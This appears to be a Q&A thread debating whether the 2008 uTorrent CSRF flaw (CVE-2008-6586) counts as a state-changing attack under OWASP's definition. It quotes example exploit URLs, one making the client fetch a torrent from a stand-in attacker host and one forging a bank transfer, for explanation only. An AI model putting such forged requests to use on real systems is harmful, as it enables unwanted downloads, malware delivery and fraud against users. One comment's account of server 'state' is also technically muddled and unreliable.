3

From Wikipedia:

A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed mission-critical actions to be executed as a matter of simple GET request:

Force a .torrent file download http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

uTorrent's web interface used GET request for critical state-changing operations (change credentials, download a file etc.)

As far as I know, "CSRF attacks target functionality that cause a state of the server."(OWASP). However, CSRF attack in the above example in Wikipedia doesn't change the state of the server at all. Just one uTorrent client can download a file from malicious site.
So is the example a true CSRF attack?

6

The "state" of the server, in the case of a Bittorrent client, at least includes the list of pending, current and finished downloads, any data related to those downloads, and any settings related to the Bittorrent client's operation.

The "attack" is causing the Bittorrent client to start downloading data based on some specific torrent file that is available online, presumably under the control of or chosen by the attacker.

Causing the Bittorrent client to add a specific torrent to its list of pending downloads seems a clear state change, but one that could be temporary. However, once the file starts downloading, we can easily argue that the act of downloading the file definitely causes a persistent change of state on the system by storing arbitrary, dangerous and/or illegal data to disk, as well as the fact that we are now redistributing that data to others which in itself could be at least illegal.

Hence, the attack does change the server state (where in this case the "server" is the machine running the Bittorrent client software that is accessible through the web interface via its built-in web server functionality; that the software happens to also act as a Bittorrent client is immaterial here), and as such meets the OWASP definition of a CSRF attack that you quoted in your question. This in turn leads to the conclusion that yes, the described vulnerability does constitute a CSRF attack according to that definition.

  • 1
    The key is that the server is the very BitTorrent client itself, is it right? – Matt Elson Mar 25 '16 at 15:32
  • 1
    @MattElson Exactly. That the software acts as a Bittorrent client is immaterial to the fact that for the purpose of the CSRF, it acts as a web server. – a CVn Mar 25 '16 at 21:05
1

The OWASP description of CSRF at https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) covers exactly this example:

Let us consider the following example: Alice wishes to transfer $100 to Bob using the bank.com web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to her instead. The attack will comprise the following steps:

  • building an exploit URL or script
  • tricking Alice into executing the action with social engineering GET scenario

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice's account to her account. She takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

http://bank.com/transfer.do?acct=MARIA&amount=100000 The social engineering aspect of the attack tricks Alice into loading this URL when she's logged into the bank application. This is usually done with one of the following techniques:

  • sending an unsolicited email with HTML content
  • planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

In a nutshell, to "cause a change in the state of the server" means that the attacker sends a GET request, which changes the state of the server from idle to "fetching the requested content", that the user didn't intend to send. It doesn't refer to a change in the configuration of the server.

For additional information:

http://www.mcafee.com/it/resources/white-papers/wp-csrf-attack-defense.pdf http://www.acunetix.com/websitesecurity/csrf-attacks/

  • I totally disagree your viewpoint.I think "cause a change in state of the server" means HTTP requests will modify data in server. – Matt Elson Mar 25 '16 at 12:32
  • @MattElson state!=data. I don't know if you are familiar with computer architecture, but (oversimplifying) when you send a GET request, your request is translated into machine code by the server; the server recognizes the URL as belonging to another machine, resolves the address and asks the corresponding server to read its memory from a particular address, that identifies the portion of memory containing the requested webpage. The memory can be described as a state machine and, while its content(data) doesn't change, its state does change. I don't know if I made myself clear, btw. – A. Darwin Mar 25 '16 at 15:18
  • This should explain why any attack that forces the legitimate user to execute undesired actions on a web application is considered a CSRF. For example, imagine a "private" search engine, which only works if you are logged in. If an attacker could force you to request an undesired webpage(e.g. search results for NSFW content), this would be a CSRF attack, regardless of whether data (such as the list of pending downloads, see @Michael Kjörling 's answer) was altered or not on the server. Also, see CWE-Mitre definition of CSRF, which doesn't talk about change of data and is perhaps more clear. – A. Darwin Mar 25 '16 at 15:39

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.